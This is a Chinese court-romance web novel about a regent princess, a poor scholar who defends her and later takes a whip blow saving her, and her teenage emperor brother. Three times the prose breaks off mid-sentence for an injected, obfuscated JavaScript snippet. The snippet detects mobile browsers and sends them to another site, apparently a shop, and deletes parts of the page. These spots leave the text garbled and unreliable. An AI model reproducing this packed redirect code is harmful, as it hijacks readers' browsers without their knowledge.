《长公主的品格》 1. 观槿楼 暮春三月，正是春耕的季节，往年此时，街上都少有行人，今年却格外热闹。 周易等了小半个时辰，才等到楼梯口的一个位置。 没办法，谁让赶上春闱了呢…… 周易立刻拉了好友陈碌一起进去。 本朝法制清明，广开言路，考生们都喜欢聚集在观槿楼中议论最近的朝事。 而日前最引人热议的，无疑便是本届原定主考官礼部尚书的去世，诚然，顾维修死了不过轻于鸿毛，他空出来的春闱主考官一职，却是重于泰山。 “如今女主国政，只怕主考的位置要落到吏部的韩侍郎头上。” 周易屁股还没坐热，前方便传来某位考生的高谈阔论。 不知道哪家的孩子没拴好，竟跑到公共场合丢人来了。 不想，一旁的陈碌冷笑一声，扬声道：“礼部尚德重义，春闱主考一职更需德高望重之人，怎容小人轻毁？” 周易：“……” 傻子竟在他身边…… 果然，下一秒他们便成了全场新的焦点！ 周易“啪”地打开扇子，不动声色地遮住了半张脸。 空气里也沉寂得可怕。 众所周知，韩俊臣虽因容貌妖冶为士族所不耻，但毕竟是长公主的人…… 而说这话的陈碌，却也不是别人，正是长公主的小叔子。 半晌后。 附和声好像被点燃的炮仗一般，瞬间打破了沉寂！ “那是当然！” “小侯爷说得对！” 周易的头越埋越埋低，恨不能找个地缝钻进去。 陈碌却还在继续：“礼部——” 周易连忙拽住他，打了个哈哈，对周围道：“礼部老尚书年高德劭，又兼身为太傅，倒不知朝廷欲如何追谥啊？” 他扇子摇得飞快，一边不停地对他眨眼。 想想你爹，不想死就闭嘴吧！ 陈碌整张脸顿时扭曲在一起，众所周知，别人家打儿子是用棍棒，而陈将军，是用狼牙棒。 他还是有些不甘心，却也只能道：“老太傅历经三朝，当当得起文正二字。” “对对对！” “陈兄说得有理！” 附和声还在继续周易勉强拉着陈碌坐了下来。 抹了吧额头上并不存在的汗，眼见话题中心已经渐渐放过了他们，周易长出一口气，他已经开始后悔排这个队了…… 目光漫无目的地在大堂内逡巡一圈，周易打算提前撤退。 便在这个档儿，他的目光陡然一顿。 周易的手不自觉搭上陈碌的肩膀，扇尖一指“你看那儿，好标致的一个人物……我要跟他做朋友。” *** 楼下清议沸腾，楼上却自有一方空间与世隔绝。 紫竹编制的竹帘外加挂着深色的帘幔，将午后的炽热与喧闹一齐挡在外面。 帘幔旁是放满了各类古籍竹简的书架，书架前的长几上，香烟袅袅升起。 几前跪着蓝衣翠带的侍女，侍女正轻手轻脚的将几上的沉水熄灭。 “什么时辰了，寒碧？”一个女子的声音从屏风外传来。 侍女立刻起身，转过屏风，来到女子身边，“刚过了未时。” 寒碧屈身跪下，将一杯热茶递给卧在藤椅上的女子手中。 那女子伸手接过，浅碧的茶杯卧在她盈白的手中，鲜红的丹蔻轻轻敲在杯沿，说不出的慵懒缱绻。 “楼下都说了些什么？”萧明玉按了按隐隐作痛的额角。 “起初是议论这次春闱主考的人选，后来讨论郭太傅的谥号，陈二少爷提了文正二字。”寒碧颔首回道。 明玉抿了口热茶，眼底是尚未褪尽的疲倦，“文正——呵，不仅行二人也二，也就仗着还练过几年武，才没让他爹把褪给打断。” 她冷笑一声，连同为三朝元老的郑冲都只敢上折子请封文襄二字，他倒是上赶着给人做筏子。 “夫人消消气，”寒碧轻声道，“二少爷少时在宫中伴读是郭太傅给开的蒙，自然有几分孺慕之情。蔡臣刚回了婢子，郭家最近大开府门，这楼下厅堂内倒有半数以上都去吊唁过老太傅。” 仰慕圣贤？恐怕都是冲着郭家去的。 朝上的人装哑巴，朝下的人逞能耐，到头来，一个有用的都没有。 她揉了揉眉心，“行了，回吧。” “是。” 搁下杯盏，寒碧替她披上披风。 恰在此时，楼下忽然传来一阵暴喝声—— “终究是陛下年少，才容人把持朝政十年，老太傅一生为国为民，若不能得谥文正，我们就去朝阳门静坐！” 紧接着，仿佛蛰伏许久的野狗忽然出笼，楼下瞬间响起暴风雨般的应和，一片哄乱之中，好似有几十张嘴同时呼喊，毫无间断！ 明玉面色骤变，一个箭步上前，猛地推开窗户。 楼下乌压压一片脑袋，鼎沸的人声几乎要将整个屋顶掀起来！ 看不清是谁在喊，也看不清有多少人在喊。 明玉声音发冷，“去叫蔡臣来。” “是。” 她缓缓扫视过厅下的一众书生，这一张张喊着为国为民的脸，忽然间，与朝议上那些沉默的老脸重合在了一起！ 是谁在引导这些考生，是赵家？魏家？还是那个人吗…… “赵兄说得对，”楼下的人喊道，“若是陛下主政，绝不会允许老太傅如此凄凉收场！” “对！” 明玉眉头越皱越紧，已经在刹那间推翻了十八种方案和可能性。 恰在此时，厅堂的角落里忽然立起了一个面色铁青的少年！ ——是陈碌！ 不好—— “寒碧，快让人——” “砰——”瓷器碎裂的声音瞬间在地上炸开。 全场瞬间一静。 明玉也是一惊，几乎是在万众瞩目中，遥遥地，在那同一个角落，又站起来一位二十多岁的青年。 那是个衣着普通甚至有几分寒酸的书生，却连阅美无数的明玉都微微眯了眼。 他从陈碌身后走出，白净的脸上是与年龄不符的冷静。 “老太傅尸骨未寒，”他朗声道，“诸位便要令他老人家沦为不忠不义的佞臣吗？” 食指不停敲在窗沿，明玉谨慎地看着他，哗众取宠？ 果然，楼下立刻有人反驳：“哪里来的哗众取宠的小人？！我等不惜生死，还惧你一个信口雌黄之辈不成？” 然而他面色不改，语调也依旧不紧不慢：“你们不须畏我，却还该畏天，畏地，畏义。” 他每说一字，便向前一步。 沉静的面上是如冬日匕首一般锋利的坚毅，竟迫得所有人不自觉的后退—— 容他从一个不起眼的角落，一步步走到了大厅的中央。 “先帝龙驭宾天之时，长公主亲至庐阳请老太傅出山，更与陛下多年倚重。如今你们却要以他老人家的名义离间天家，戕害社稷，如此不忠不义之事，又有什么脸面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956359|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提文正二字？” 她敲在窗沿上的食指一顿，离间天家？ 多少世家便是从中牟利，莫非，他是要反其道行之吗？ “可——” 他断然道：“长公主于十年前临危受命，辅政至今，朝局稳定，政治清明。陛下亦受圣人教导日渐成年，这么好的局面，正是我等报效之时，为什么——” 只是一瞬间，他刚硬的眉眼忽然现出几分痛惜的柔软，明玉一愣，那柔软中忽然闪现的赤子忠诚瞬间击中了她。 他说，“——为什么要毁了他呢？” “夫人？”蔡臣的声音忽然从身后响起，她一怔，仿佛骤然从梦中惊醒…… 楼下的那个人一身洗得发白的蓝色布袍，可立于衣锦冠玉的士林之中，却令人半点不敢轻视。 蔡臣立刻会意：“江州薛行简，父母早亡……倒还有一个祖母相依为命。此人行事一向低调，每日午时来楼里，一般也只在角落独坐。他衣着寒酸，也少有人搭讪。” 明玉点点头，眉眼骤然展开，却只道：“长得倒是不错。” 蔡臣颔首，脸上是早已习惯的木然。 但是—— 明玉微微敛眸，他身上也是少年人才会有的朝气。 不同于楼下其他书生的少年意气，而是旭日东升的蓬勃朝气…… 是她许久不曾在朝堂上见过的朝气。 或许他会是她的星星之火。 竹帘缓缓落下，明玉转身下楼。 蔡臣跟在她身后，照例询问：“可要关照几分？” “不必，”她轻轻笑了一下，走过拐角，“这孩子的福气在后头。” *** 夕阳渐晚，人影渐长。 周易摇着扇子立在门口，笑着揶揄刚从观槿楼脱身的行简，：“行啊你，深藏不露，一鸣惊人！” 刚赔完茶碗钱出来的行简不由失笑，“行了，山人兄就不要再取笑我了。” “啧啧，”周易拿着扇子凑到他面前，“不过你也不怕在这紧要关头被扣个趋炎附势沽名钓誉的帽子？” “要是由着他们分裂朝廷，我这十几年寒窗，不是白读了？”行简笑道。 更何况，也不能眼睁睁看着他们，这么轻的年纪就血溅辕门。 周易看懂了他眼底的这句话。 “你倒有荆轲的胆气与魄力，不管怎么说，你这朋友，我交定了！” 行简失笑，一旁陈碌立刻不冷不热道：“你倒是护着她。” “诶诶，你行了啊，”周易反手便给他一拳“别跟个姑娘家似的矫情。今儿我做东，咱们喝酒去。” 陈碌冷哼一声，头一扭，却也没再说什么冷言冷语。 周易拉行简，“吃了酒，我再送你回住处，最近这京城啊，闹蟊贼！” 又压低声音道：“你也别为了这跟他生分，长公主是他嫂子，他大哥又……” 行简颔首低笑，一“生分的是你。” 他干净的眼底是疏风朗月，坦荡澄澈。 周易立时哈哈大笑：“来，走走走。” *** “夫人？” 三位并肩而行的青年已经渐行渐远，观槿楼旁的巷尾处，明玉放下车帘，声音平静：“让翠微把暗卫撤了吧，周易心细，会护他周全的。” “是。” 车轮声辚辚响起，马车朝着与三位青年相反的方向而去。 她闭目坐在车中，薛行简……， 不仅人长得好看，声音也很好听啊。 2. 初见 怀瑾握瑜——薛怀瑾 “啪！” 马车内，明玉一把奏折摔到案边。 寒碧面色不改，继续沏茶。 明玉冷笑道：“个个都有理，竟然连孔圣人都抬出来了！一个个不求无功，但求无过，全在和稀泥！” 说到最后，她叹了一声，“朝廷的事儿就是这么坏下去的……” 寒碧将沏好的茶递给她，“也不是没有敢说话的人，许是他们的声音太小了。” 明玉勾唇冷笑：“前儿观槿楼那群闹事的书生声音可不小——” 寒碧当即噤声。 明玉也不怪，只皱眉挑起车帘。 车外明亮的光瞬间倾泻而入，，挟着几分温暖的明媚，驱散了她心底的阴郁。 眉头微展，脊背一松，明玉靠到一侧的软枕上，“事情查的怎么样？” “正逢春闱，为了在考前扬名，几乎所有考生都把京中那几家拜访了个遍儿……一时也很难查出到底是谁有意教唆了考生……” 明玉点点头，对这个结果也并不意外。 即便是那群学生自己想要讨好皇帝，也不是不可能…… “但是……”寒碧迟疑道。 “什么？” 她漫不经心地看向窗外，有轻薄的柳絮从漏窗的缝隙飘进来。 “那位薛先生每日除了来观槿楼，倒是不见有其他动作。” 明玉失笑，在寒碧疑惑的目光里拾起一本折本递给她，“他的《治安略》早已名扬京城，又何须再舔着脸上门，求别人举荐？” 寒碧皱眉：“那……”那为什么他在观槿楼中竟依然无人问津呢…… 明玉面色淡淡：“无论京城还是地方，都没有薛姓的大族。” 寒碧瞬间了然，面上不由有些愤愤：“鼠目寸光，狗眼看人低！” 明玉有些好笑地看着她。 “此人城府颇深，定非池中物也。” *** 远山青岚，云雾轻散。 马车在灵岩寺的后山停下，明玉下车，带着寒碧徒步上山。 早就等在后山山门的小沙弥，一见她立刻迎了上来，道了声佛号，便领她去后院的禅房。 禅房外，开国皇帝亲手栽植的杏树下，方丈正在摆弄棋局。 萧周开国已有百年，那杏树也早从孩童高的幼苗长成了参天古木，枝叶展开，几乎遮天蔽日。 白色的花盏遍布其中，仿佛满天的星子。 明玉走到树下，方丈抬起头来，两人互相颔首见礼。 明玉熟练地落座，执起黑子。 从始至终，都未发一语。 几番杀伐之后，棋势陷入僵局。 一方迟迟难定，牵绊太多终难取舍，而另一方老道自在，似是早已将死生勘破。 终于，黑子轻轻落下。 明玉眉头未展，终究还是有几分迟疑。 方丈双手合十：“看来施主心中，答案仍然未定。” 落子无悔，明玉移开指尖。 “幼弟尚小，恐其陷豺狼环伺而不自知。” 慧能念了声佛号，“施主知道瞎子摸象的故事吗？” “王令盲人摸象，有的人以为自己摸到的是麻绳，有的人则以为是陶器。” “是，他们心中各有不同，但那头在他们面前的象却是相同的。” 明玉低头不语，慧能又道了声佛号，飘然而去。 *** 白色的杏花从树上飘下，缓缓在黑白纵横的棋面上委落。 明玉无意识的去摸茶杯，茶水入喉，才觉冰凉苦涩。 慧能竟已离去多时，明玉苦笑，慧能转身前的话还言犹在耳： “施主的幼弟其实一直身处群狼环伺之中，只是施主蒙上了他的眼睛——才让他以为面前的不过一节麻绳而已。” 是说她对萧启保护太过吗…… 可是……她捧着凉茶叹息，若是平民百姓家的孩子，犯了错大不了打骂一顿，天家的事呢……一举一动都系着数万黎民的福祉，她怎么能…… “夫人。”一个清越的男声忽然从身后传来。 明玉捧着茶杯的手一顿。 那人接着道：“打扰夫人了，孩童顽皮，不小心把球踢到了夫人这里。” 不知何时，一个藤球滚到了她膝边。 明玉回过头，对面的人低着头对她作揖，一身洗得发白的蓝袍，却没有半点寒酸。 “晚生唐突，特来向夫人寻回。” “公子客气了。” 寒碧留在了禅房外，以至于此时此地，确实只有她一人。 她将球捡起，走到他面前，“给。” “谢夫人。”他双手接过。 而明玉看着他微垂的侧脸微微一顿，这个声音…… 薛行简转身离去。 明玉忽然道：“先生留步。” 行简脚步一顿，疑惑地回头，随即一怔。 她虽然一深绛暗纹的罗裙，衣饰妆容都是极尽老成的模样，面容却如娇花照水，明艳非常。 明玉对他友善的微笑：“叨扰先生，可否请先生替我解一局棋？” 他却答非所问，“夫人认得晚生。” 明玉意外，不由失笑，“此话怎讲？” “夫人的眼睛告诉我，您认得我。” 如果不是他满脸的认真和坦诚，换任何一个人，她都会毫不怀疑地认定，对方在跟她调/情。 或许，这位士子，还是太年轻了。 “观槿楼舌战群儒，”明玉微笑，“天下谁人不识君。” 他却显然一愣，似乎没想到会是这个理由。 明玉转身在棋盘旁落座，含笑看着他。 闻声赶来的寒碧立刻会意，接过他手中的藤球，送还给了外面的孩子们。 行简依言走到她面前，在她对面落座。 这一次，明玉落白子。 “陛下渐长，先生此举，不怕被归为长公主一党吗？” “夫人是觉得，”行简笑了笑，“长公主与陛下是对立的两派吗？” 明玉眼底骤然掠过锋芒，他唇边笑意却随之加深：“如果不是，我维护的也是陛下的利益。” 明玉敛眉。 “夫人如何称呼？”他落子。 “我夫家姓陈。” “夫人温雅大方，陈先生定也是人中龙凤。如若有缘，还望夫人引荐。” 她闻言浅笑：“外子已亡故多年。” 风声一寂，他微微低下头，掩去眼底的光。 明玉只当他是尴尬，笑着解围：“先生不必介怀。” 行简垂首不言。 明玉也不介意，指下白子继续紧追不舍。 很快，棋局逆转，黑白二子再一次分庭抗礼。 明玉抬眼看他，面前的人棋势沉稳，却锋芒毕现。 而她—— 每一步都稳扎稳打，力求将所有的伤害都降到最低——她或许还会赢，但也注定赢得惨烈。 或许，是她真的老了吗…… “我输了。” 薛行简意外地抬起头。 明玉对他释然一笑，笑意温柔如春水：“谢先生为我解惑。” 他皱眉，“棋局尚未决出胜负，夫人这样倒令我枉担了这声谢。” 明玉笑着起身。 “请夫人为我解惑。” 他满脸的认真和坚持，仿佛一定要一个答案。 寒碧替她披上披风，明玉有些意外：“你想知道？” “是。”他的眼睛明亮如星辰。 明玉不由微微一怔，杏花落在她猩红的披风上，那张清俊的脸，即使在十里春风中，也依旧毫不逊色。 她没来由地起了玩性，仿佛忽然回到十年前。 “先生容止醉人，令我心有所失，”她微微一顿，“所以，我甘愿认输了。” 她的眼睛，如洞庭湖深处的秋月，清冷却近人。 薛行简一怔，脸色腾地便红了。 明玉噗嗤一笑，连日来的紧绷瞬间散去。 对面，青山在碧蓝天空下若隐若现。 明玉退后一步，敛起笑容，俯身对他一揖，抬眸正色道：“祝先生金榜题名，前程似锦。” 他似乎仍未回神，只是怔怔地看着她。 明玉对他一笑，转身离去。 *** 穿过回廊，明玉从后面绕到大殿。 主持对她一礼，小沙弥将香烛递给她。 我佛金身，俯瞰众生。 明玉向上望了一眼，菩萨狭长的眼睛，似有情似无情，将点燃的香火聚在面前，明玉跪在蒲团上，虔心祝祷。 再度睁开眼，有小沙弥将香火插到香案上，明玉起身，远处，似有诵经声断断续续地传来。 答案？ 薛行简问她答案—— 他不知道，他就是答案。 檀香浓郁的味道积攒在鼻间，明玉仰望着无悲无喜的菩萨，当他坐在她原本的位置将她陷入泥泞的黑子救活—— 棋盘上杀伐之间尽是青年人的朝气—— 她忽然便明白，或许皇帝也是这样，他虽然还年轻，却终究会取代她。 他是冉冉新生的太阳，而她，已经老了…… 虽然还能逗逗年轻的孩子，但终究是老了…… 明玉在心里自哂，曾经她这个大周朝的顶梁柱，眼见的就要成为绊脚石了。 朝廷能添这样的人才，真是幸事。 她又打起精神，再次向菩萨虔诚祝祷， ——希望以后能再多些这样赏心悦目的漂亮官员。 *** 日光从高门的格子窗间射入，明玉迈出殿门。 忽然间，她脚步一顿。 十九步台阶下，薛行简正立在院中的菩提树下，静静地看着她。 明玉吃了一惊，没想到他会如此执着，更不知他到底在那里站了多久。 她走向台阶，看他也向她走来。 “夫人。”行简对她一礼。 明玉点点头，他的眼神仍旧认真而平静，她却偏看出几分少年人的执拗。 “看来先生，是不信我了？”她微微笑道。 许是想起她那句“容色醉人”，他的脸又是一红，“……信，但后山山路难行，我陪夫人下山吧。” 明玉微微一愣，却是根本没想到他会是这样的回答。 但不知是那天的阳光太好，还是佛堂的檀香味太浓。 明玉鬼使神差道：“好啊。” 身后的寒碧立刻惊讶地看向她。 *** 山风清瑟，空气微潮。 两人并肩下山，一路默默，直到半腰，都没人开口说一句话。 寒碧默默跟在他们身后，第八次怀疑人生。 明玉看了眼远处的青山，她现在也不明白为什么会答应他…… 她微微沉吟，率先打破沉默，“看来你心里已经有答案了。” 薛行简笑了笑，却仿佛他并不是为此而来，“重要的是夫人已经找到了自己要的答案。” 他抬手从旁边的树上摘下两个果子来，拂去浮尘，将最红的那个递给她。 “这后山其实也不算荒僻，山下的佃户也常到这里采集野菜野果——是成立买不到的。” 明玉十分意外，伸手接过的动作却没有迟疑。 “谢谢。” 她的指尖触在他的掌心，他仿佛微微颤抖了一下，明玉抬头看他，他迅速收回了手。 一时间，谁都没有开口。 明玉抚摸着手里的果子，并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好在，远远的，已经能看到官道的影子。 这一切也是时候结束了。 从今而后，道路朝天，他们将背道而行。 明玉暗暗松了口气，忽略去心底那一点点的怅然，她对他笑道：“今日多谢先生，有劳先生相送，天色已晚，便请就此别——” “驾——都滚开！”一声呼喝忽然打断了她。 不等她回头，铁锈的味道猛地贯入鼻间。 一片轰鸣的马蹄声中，溅起的飞尘里，薛行简忽然扑过来抱住了她。 明玉整个地一愣。 血腥味瞬间扑鼻而来，为首的人已经挥舞着铁鞭带着随从远去。 整个世界倏地一静。 风声、人声、烈马纷乱的嘶鸣声，忽然全都消失了。 明玉怔怔地从他怀里抬起头来。 他惨白的脸上一丝血色也无，青筋暴起的额头汗如雨下。 他却对她扯了扯嘴角。 明玉颤抖着手去扶他。 触手见间是温热黏湿，他在她怀里问她： “你还好吗？” 明玉的眼泪瞬间落了下来。 *** 如血的残阳落在城墙的石壁上，一架不起眼的青篷马车迅速驰入城门，在守城士兵们难言惊讶的对望中，迅速拐上四九城的官道。 驾车的秦五迅速从对向驶过的马车上接过一个竹筒，两眼一翻，瞬间览过竹筒里的内容。 街巷里，有支了摊子卖茶的小贩。 秦五随手一抛，那竹筒瞬间湮灭在小贩烧火的灶台里，顷刻化为灰烬。 他压低了声音，对着马车内道：“夫人，今日纵马的是户部尚书何应臻的儿子——何卞。” 车内，明玉睁开眼睛，“让马车在前面巷子停下，照旧回府——寒碧，你随我进宫。” 寒碧面色微凝，“是。” 明玉重新闭上眼，所有的情绪也都被一并敛去。 可她一闭上眼睛，他血肉模糊的背影便立刻浮现在眼前。 那浓郁的血腥味仿佛再次扑鼻而来。 那一铁鞭几乎劈开了他整个的后背，模糊的血肉黏在浸满了鲜血的碎布上。 她带来的侍从除去去请大夫的秦五，在把他背回寺院的厢房后，一半按住他的手脚，一半去撕他后背的衣裳。 明玉白着脸站在门边，望着他已经陷入昏迷的脸。 整个人都有些摇摇欲坠。 寒碧在一旁担忧地看着她，“殿下……” 成盆的血水一盆一盆地从屋里端出来，明玉死死地抓着门框，“寒碧，带江平来，不要让人看见。” 寒碧面色一变，“是！” 足足过去了两个时辰，在太医和请来的大夫轮番诊脉，无一不对她保证，虽然伤及皮肉，但骨头无恙，人一定没事后。 明玉摆摆手，寒碧立刻安排人送江平回去。 留下的大夫带着秦五去抓药。 明玉站在他榻边，看着他苍白虚弱的脸，很想问他一句，是疯了吗！ 那一鞭，稍有不慎，便会要了他的命…… 十年寒窗苦读，大试在即，他一点都不珍惜吗！ 马车内，明玉霍地睁开眼，倒吓了寒碧一跳。 不等她发问，明玉迅速抽过一旁压在枕下的书简，压下满心的烦躁，将书简展开。 “你还好吗？” 他的声音忽然从脑海深处传来。 “你还好吗？” 那声音越来越近。 “你还好吗？” 摊开的书页上竟然都是他苍白的脸和温柔得怕吓到她的双眼。 为什么要救她，明玉苦笑，明明他们才第一次见面不是吗…… “怀瑾握瑜的怀瑾，是我的字。” 眼前又浮现他那双异常认真的眼睛，明玉一把把书丢开，仿佛那是什么洪水猛兽。 寒碧被她吓得不敢说话。 忽然，马车停了。 秦五的声音从外面传来：夫人，到了。“ 3. 萧启 明玉下了马车，转乘轿攆。 穿过高高低低的红墙，轿攆在长乐宫前停下。 明玉穿过庭院，踏进殿内，由寒碧替她取下披风。 “阿姐！”少年的声音忽然从殿外传来。 不等明玉回头，萧启已经从外殿奔来，挽住了她的袖子：“阿姐怎么这个时候进宫了？” 明玉失笑。 萧启接着道：“阿姐肯定还没用膳吧，我让他们在这里摆了，咱们一起吃！” 明玉握住他拉着她袖子的手：“好。” 侧殿里，苏信已经指挥着人摆好了膳食。 两人分次入座。 席上菜色丰富，却是以她爱吃的几样为主。 看来他早就知道她要入宫，一早便等着她了。 “我听杨师傅说，”明玉垂着眼夹起一块槐花饼，“你最近的功课似乎都不怎么上心。” 萧启手中的筷子一顿，“姐，杨师傅上了年纪，教的也尽是些陈词滥调……”他越说越慢，“若是以此治国，只会固步自封……” 说到最后，忍不住抬起眼瞥了她一下。 明玉皮笑肉不笑：“就你理多。” 萧启一眼便看出她并非真的生气，大着胆子继续道：“食君俸担臣职嘛，否则郑冲安排他来讲学，就凑个人数不成？” 明玉瞪他：“陛下慎言！” 萧启顿时不服气的瘪了瘪嘴，明玉知道他心底不服，他已经不是乖乖听话任人教诲的年纪了…… 灵岩寺里方丈的话还言犹在耳，薛行简的面容又在此时忽然浮现——明玉按下心底的烦躁，萧启已经十六岁了，还有四年便要大婚亲政，她不能再放任他自顾自的“摸象”了…… “……阿姐？” 许是她沉默的时间太长，萧启也越发不安起来。 明玉连忙回神，对着萧启忐忑的脸不由宽慰的一笑。 不料她这一笑，反吓得萧启一个哆嗦，险些当场检讨认罪。 “那如果我让你自己选老师，”明玉笑道，“就选你想要的年轻老师，你能好好上课吗？” 萧启目瞪口呆，“——然！” “好，那我也信你一次，”明玉认真的看着他，“这次春闱你便睁大了眼睛好好看看。” 就算要走的路还有很远，也要一个他能听得进去的人来带他走。 脑海中又恍然浮现那个人的身影，明玉连忙垂下了眼。 “郭太傅定谥一事，阿姐预备怎么处理？”萧启试探道。 明玉心中了然，这才是他等她的原因。 “启儿觉得呢？” “如郑大人所请文襄便好……”他微一沉吟，“文正，前朝先贤如魏征者才可得此类谥号，若仅因年长而追，天下士子岂不都改求长生之术？” “不错，可既然郭太傅并没有魏征之贤，春闱主考又怎么成了无人可担的职位？” “因为他们想要却又不敢说，只能转而给竞争对手泼脏水了。” 明玉赞许地对他点点头，“为官者要脸面，陛下也一样，所以以后不要这样明目张胆地逃课了。” “……” 她将银著搁下，“今时不同往日，启儿你今年已经十六岁了，再有四年便要大婚，而下一次春闱却还要等五年。” “阿姐……” 她对他笑了笑：“解铃还须系铃人，既然一切的源头是为你，自然也要你来解决。” 萧启声音一细：“阿姐的意思——是要我做这主考官？” “害怕？” “不是！”他脱口而出，“我以为……” 以为你会亲自做这次的主考官。 明玉看懂了他未出口的话，却并不戳破，“礼部尚书我举荐郑冲，你觉得呢？” “我跟阿姐想的一样。熬过了皇爷爷又熬过了父皇还在朝的，也就他了。” “好，”明玉对他点头，“吃饭。” “是！” *** 夜幕很快降临，星辰安静地落在四方。 用罢晚膳，明玉拒绝了萧启的挽留，=带着寒碧等人，赶在宫门下钥前出了宫。 一出宫门，一身护卫装扮的翠微便策马趋近了正在行驶的马车，“殿下，薛先生已经无碍。” 马车内，明玉微垂着眼，“他这个伤只怕夜里要发热，你让照看的人都仔细着点。” “是。” 车帘放下，她仍如往常般展开手中的书卷。 但时间却仿佛突然被人拉长了一般，眼前排布整齐的隶书也都忽然杂乱无章起来，没有一个肯安安静静地进入她的脑海。 她的脑海里挤满了马蹄声，风声，他惨白得没有一丝血色的脸，和一盆盆鲜红的血水…… 一旁的寒碧低声道：“明儿午后结了议事，殿下不如去看看薛先生？” 明玉低头不言，他血肉模糊的脊背又再次浮现在眼前。 “殿下一向礼贤下士，”寒碧接着道，“又爱民如子。薛先生又是为了救您所致，不会有人说闲话的。” 指尖慢慢收紧，明玉猛地抬头：“我自是不惧，但他不一样，俊臣的例子你忘了吗——” 寒碧一窒。 明玉字字珠玑：“他注定前途无量……他的未来不应该沾上狐势媚主这样的字眼……” 寒碧抿紧唇看着她，眼底却全是心疼。 明玉别过头，避开她的目光，她自然可以再乔装成富贵人家的妇人去见他——理由也冠冕堂皇得让人难以拒绝。 可她不能。 有了这一次就会有下一次，世上没有不透风的墙…… 何况，她也骗不过自己了…… *** 马车缓缓停下。 镇国公主府，明灯高挂，匾额高悬。 朱红色的大门漆着金字，两侧更是石狮气势磅礴。 明玉踩着矮凳踏下马车，猩红的披风在后，她迈过石阶，一路穿过拱桥回廊，回到她的撷芳居。 这条路，从她十五岁放弃文武双全的少将军纪廷和，选择靠着祖荫才赚得个闲官的陈渭始，已经走了十四年。 她垂着眼站在黑暗中，等寒碧将烛火点亮。 本朝虽然从未禁止驸马从政，但自容乐公主起，不许高官，不予重权，却成了朝野上下心照不宣的默契。 他有帝师之才……自然更有经天纬地之心—— 她怎么能毁了他，让他恨她…… 烛火霍然跃起，瞬间驱散了黑暗，翠微替她将笔墨铺开。 明玉站在案前，捡起半月前抄了一半的道德经，再次抄写起来。 这是父皇教给她的方法…… 一字一句，一笔一画，仿佛这样就能驱散心中的不安和焦躁。 直到她写完第三页，翠微忽然开口：“薛先生背上的伤不轻，殿下若是得闲，不如这几日去探望一二。” 笔尖骤然停住，明玉面无表情地看向她。 那眼神彷如冬日下猎户的猎刀，逼得翠微微微低了头。 可她还是道：“薛先生惊才绝艳，定能高中……日后朝堂，殿下总要与他再见。到时只怕不仅会怨殿下冷漠，更会觉得是天家薄情。君臣生隙，反倒不好。” 总要再见…… 不知是不是今日的灯火太亮，竟刺得她眼底微痛。 没错，他们总要再见。 到时他会如何看她……忘恩薄义的小人吗…… 明玉闭上眼睛，静谧的夜晚总是种子生根发芽最好的时机，它只需要一点点的希望，便可以顽强的扎下根来。 终于，她睁开眼睛，重新提笔蘸墨， “去安排吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956361|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 翠微立刻应下，“是。” 既然如此，便再见一次吧…… *** 而在一坊之隔的宫城之中，哪怕已是三更的天儿，萧启仍然激动地在床上打滚。 晚饭时他便兴奋地比平常少吃了三碗饭，现在不觉得饥饿，却只觉得激动难耐。 在滚到第三十一圈时，他一个鲤鱼打挺从床上跃起，“小德子！” 龙帐外值夜的安德打了个哈欠，“主子爷您还不困呢？” 萧启一把拉开帘子，“我要主持科考了！” 安德打第二个哈欠，“那奴才给您道喜了。” 萧启继续兴致勃勃道：“外面那群人跟打了鸡血一样，朕还以为阿姐会亲自主持这次科考。” 安德揉了揉惺忪的困眼，“殿下兢兢业业撑了那么多年，不都是为着陛下吗？怎么会到头再自己跟自己过不去？” 萧启瞥他一眼，“阿姐疼我是不假，但她手下的人跟我非亲非故……行了行了，你去御膳房那儿端两盘点心来！ “别让别人看见！” 安德没有戳穿他这简直是痴人说梦，便应了声向外走去。 他走后，萧启蹦下床，又转了一圈—— 十年了，他在这万人之上的位置坐了十年了，却是第一次主导别人的命运。 巨大的兴奋几乎跳跃冲击着他的四肢百骸，让他几乎要大喊出身，身后有脚步声靠近，萧启连头都没回：“你怎么又回来了？” “奴才安远给主子爷请安。” 萧启身形一僵，缓缓回过头，安德哀莫大于心死地站在他面前，身后是不请自来的内务府副总管安远。 他手中着一个食盒，脸上是惯常的三分笑——不会过分谄媚，却又足够体贴。 “晚间用膳的时候，陛下光忙着高兴了，连饭菜都顾不上了。”安远打开，取出一碟豌豆黄，一碟枣花饼，“奴才怕主子爷夜里犯饿，就让人在偏殿提前备下了。” 萧启看他一眼，拈起一块豌豆黄，无可无不可的点了点头。 “不错，但以后别这样了。” “主子爷？” “朕也就是一时兴起，不可成惯例。京都常年风干物燥，春秋两季尤甚，阿姐恪行节俭，削减府中仆从，回到府里连口热茶都没有，就为体恤民力。 “朕身为天子，自然更应该为朝廷典范。” “可殿下却并未一齐削减府兵的数量。” 萧启捏着豌豆黄的蓦然一顿。 似有寒风忽然穿堂而过，安德肉眼可见的打了个哆嗦。 萧启忽然抬起眼，“放肆！” 安远扑通一声跪在地上，“奴才万死！请主子爷饶命！ 